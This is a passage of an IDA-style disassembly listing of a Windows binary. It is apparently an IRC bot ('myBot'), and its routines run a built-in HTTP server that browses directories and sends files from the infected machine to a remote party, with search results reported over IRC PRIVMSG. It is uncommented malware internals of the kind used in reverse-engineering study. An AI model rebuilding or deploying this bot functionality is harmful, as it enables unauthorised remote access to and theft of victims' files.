sub_40DC62	proc near		; DATA XREF: sub_40DDDE+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_4181D0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_417CB0
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_40DCCD
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCCD:				; CODE XREF: sub_40DC62+62j
		push	offset aApplicationOct ; "application/octet-stream"


loc_40DCD2:				; CODE XREF: sub_40DC62+69j
		push	eax
		call	sub_417CB0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_4E03D0	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_4E03CC	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_40DD45
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_417CB0
		add	esp, 24h
		jmp	short loc_40DD60
; ---------------------------------------------------------------------------


loc_40DD45:				; CODE XREF: sub_40DC62+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_417CB0
		add	esp, 28h


loc_40DD60:				; CODE XREF: sub_40DC62+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4D66B8	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40DDA0
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40E70E
		pop	ecx
		pop	ecx
		jmp	short loc_40DDBD
; ---------------------------------------------------------------------------


loc_40DDA0:				; CODE XREF: sub_40DC62+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40E08D
		add	esp, 10h


loc_40DDBD:				; CODE XREF: sub_40DC62+13Cj
		push	[ebp+var_44C]
		call	dword_4D6700	; closesocket
		push	[ebp+var_B4]
		call	sub_409979
		pop	ecx
		push	edi
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
sub_40DC62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDDE	proc near		; CODE XREF: sub_40D826+39Fp

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417700
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_40DE14
		push	offset aS_15	; "\\%s"
		jmp	short loc_40DE1C
; ---------------------------------------------------------------------------


loc_40DE14:				; CODE XREF: sub_40DDDE+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_16	; "%s"


loc_40DE1C:				; CODE XREF: sub_40DDDE+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_414EC0
		test	eax, eax
		pop	ecx
		jbe	short loc_40DEB7
		mov	[ebp+arg_8], 2


loc_40DE47:				; CODE XREF: sub_40DDDE+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_414EC0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40DE87
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40DE87
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40DE87
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40DE87
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40DEA1
; ---------------------------------------------------------------------------


loc_40DE87:				; CODE XREF: sub_40DDDE+79j
					; sub_40DDDE+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40DE97
		push	5Ch
		pop	eax
		jmp	short loc_40DE9A
; ---------------------------------------------------------------------------


loc_40DE97:				; CODE XREF: sub_40DDDE+B2j
		movsx	eax, al


loc_40DE9A:				; CODE XREF: sub_40DDDE+B7j
		mov	[ebp+ebx+var_210], al


loc_40DEA1:				; CODE XREF: sub_40DDDE+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_414EC0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40DE47


loc_40DEB7:				; CODE XREF: sub_40DDDE+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_314]
		push	offset asc_441066 ; "\n"
		push	eax
		call	sub_418AC0
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4E035C	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_40DF05
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DF08
		push	[ebp+arg_0]
		jmp	short loc_40DF84
; ---------------------------------------------------------------------------


loc_40DF05:				; CODE XREF: sub_40DDDE+11Bj
		mov	[ebp+var_4], esi


loc_40DF08:				; CODE XREF: sub_40DDDE+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40DF15
		mov	[ebp+var_4], esi


loc_40DF15:				; CODE XREF: sub_40DDDE+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40DF8F
		cmp	[ebp+arg_C], edi
		jz	short loc_40DF83
		lea	eax, [ebp+var_314]
		push	offset asc_441068 ; "*"
		push	eax
		call	sub_418880
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40E7CB
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_417CB0
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40DFDE
; ---------------------------------------------------------------------------


loc_40DF83:				; CODE XREF: sub_40DDDE+14Ej
		push	ebx


loc_40DF84:				; CODE XREF: sub_40DDDE+125j
		call	dword_4D6700	; closesocket
		jmp	loc_40E074
; ---------------------------------------------------------------------------


loc_40DF8F:				; CODE XREF: sub_40DDDE+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4E03D8	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DFDE
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_417CB0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_4E03D4	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_4E032C	; CloseHandle


loc_40DFDE:				; CODE XREF: sub_40DDDE+1A3j
					; sub_40DDDE+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_44106C
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_409663
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4495A4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40DC62
		push	edi
		push	edi
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4495B4[ecx], eax
		jnz	short loc_40E083
		push	ebx
		call	dword_4D6700	; closesocket
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset dword_4410A0
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40F927
		add	esp, 10h


loc_40E074:				; CODE XREF: sub_40DDDE+1ACj
					; sub_40DDDE+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E07B:				; CODE XREF: sub_40DDDE+2ABj
		push	5
		call	dword_4E033C	; Sleep


loc_40E083:				; CODE XREF: sub_40DDDE+266j
		cmp	[ebp+var_318], edi
		jz	short loc_40E07B
		jmp	short loc_40E074
sub_40DDDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E08D	proc near		; CODE XREF: sub_401C87+367Bp
					; sub_40DC62+153p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417700
		mov	edi, [ebp+arg_0]
		push	offset word_4410D6
		push	edi
		call	sub_418AC0
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_40E0EC
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 14h
		jmp	loc_40E1E8
; ---------------------------------------------------------------------------


loc_40E0EC:				; CODE XREF: sub_40E08D+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_40E1CE
		call	sub_414EC0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		push	edi
		call	sub_414EC0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 0Ch
		jmp	short loc_40E1E8
; ---------------------------------------------------------------------------


loc_40E1CE:				; CODE XREF: sub_40E08D+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 10h


loc_40E1E8:				; CODE XREF: sub_40E08D+5Aj
					; sub_40E08D+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_40E280
		push	[ebp+arg_C]
		call	sub_414EC0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40E280
		push	[ebp+arg_C]
		call	sub_414EC0
		sub	eax, 3
		pop	ecx
		jz	short loc_40E234


loc_40E228:				; CODE XREF: sub_40E08D+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40E234
		dec	eax
		jnz	short loc_40E228


loc_40E234:				; CODE XREF: sub_40E08D+199j
					; sub_40E08D+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send


loc_40E280:				; CODE XREF: sub_40E08D+17Dj
					; sub_40E08D+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4E03EC	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4E03E8	; FindNextFileA
		test	eax, eax
		jz	loc_40E677
		mov	edi, 1FFh


loc_40E2AC:				; CODE XREF: sub_40E08D+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_40E65F
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E65F
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E65F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4E03E4	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4E03E0	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	loc_40E3A9
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_40E328:				; CODE XREF: sub_40E08D+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_417CB0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40E4E0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E3B4
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_17	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_417E80
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 28h
		jmp	loc_40E630
; ---------------------------------------------------------------------------


loc_40E3A9:				; CODE XREF: sub_40E08D+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_40E328
; ---------------------------------------------------------------------------


loc_40E3B4:				; CODE XREF: sub_40E08D+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_40E49E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_3	; "%s%s/"
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_414EC0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_40E45A
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40E45F
; ---------------------------------------------------------------------------


loc_40E45A:				; CODE XREF: sub_40E08D+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40E45F:				; CODE XREF: sub_40E08D+3CBj
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40E621
; ---------------------------------------------------------------------------


loc_40E49E:				; CODE XREF: sub_40E08D+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_18	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_417E80
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40E4CB:				; CODE XREF: sub_40E08D+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 24h
		jmp	loc_40E630
; ---------------------------------------------------------------------------


loc_40E4E0:				; CODE XREF: sub_40E08D+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E50A
		push	ebx
		push	[ebp+var_368]
		call	sub_411169
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40E4CB
; ---------------------------------------------------------------------------


loc_40E50A:				; CODE XREF: sub_40E08D+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_40E60A
		push	0E6h
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_4	; "%s%s"
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_414EC0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_40E5B0
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40E5B5
; ---------------------------------------------------------------------------


loc_40E5B0:				; CODE XREF: sub_40E08D+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40E5B5:				; CODE XREF: sub_40E08D+521j
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 1Ch
		jmp	short loc_40E630
; ---------------------------------------------------------------------------


loc_40E60A:				; CODE XREF: sub_40E08D+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40E621:				; CODE XREF: sub_40E08D+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_417E80
		add	esp, 18h


loc_40E630:				; CODE XREF: sub_40E08D+317j
					; sub_40E08D+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E65F
		push	7D0h
		call	dword_4E033C	; Sleep


loc_40E65F:				; CODE XREF: sub_40E08D+225j
					; sub_40E08D+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E03E8	; FindNextFileA
		test	eax, eax
		jnz	loc_40E2AC


loc_40E677:				; CODE XREF: sub_40E08D+214j
		push	[ebp+arg_0]
		call	dword_4E03DC	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E6BA
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_411169
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_411169
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_417CB0
		add	esp, 14h
		jmp	short loc_40E6E8
; ---------------------------------------------------------------------------


loc_40E6BA:				; CODE XREF: sub_40E08D+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_40E6D4
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6E8
; ---------------------------------------------------------------------------


loc_40E6D4:				; CODE XREF: sub_40E08D+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_417CB0
		add	esp, 10h


loc_40E6E8:				; CODE XREF: sub_40E08D+62Bj
					; sub_40E08D+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40E08D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E70E	proc near		; CODE XREF: sub_40DC62+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4E03D8	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E7C6
		push	esi
		push	ebx
		call	dword_4E03D4	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_40E7BF


loc_40E753:				; CODE XREF: sub_40E70E+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_40E770
		mov	edi, [ebp+arg_4]


loc_40E770:				; CODE XREF: sub_40E70E+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4E03F0	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4E03B8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E7BA
		call	dword_4D65FC	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40E7BF
		xor	eax, eax


loc_40E7BA:				; CODE XREF: sub_40E70E+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40E753


loc_40E7BF:				; CODE XREF: sub_40E70E+43j
					; sub_40E70E+A8j
		push	ebx
		call	dword_4E032C	; CloseHandle


loc_40E7C6:				; CODE XREF: sub_40E70E+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E70E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7CB	proc near		; CODE XREF: sub_40DDDE+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_414EC0
		test	eax, eax
		pop	ecx
		jbe	short loc_40E7F4


loc_40E7DE:				; CODE XREF: sub_40E7CB+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40E7E8
		mov	byte ptr [esi+edi], 2Fh


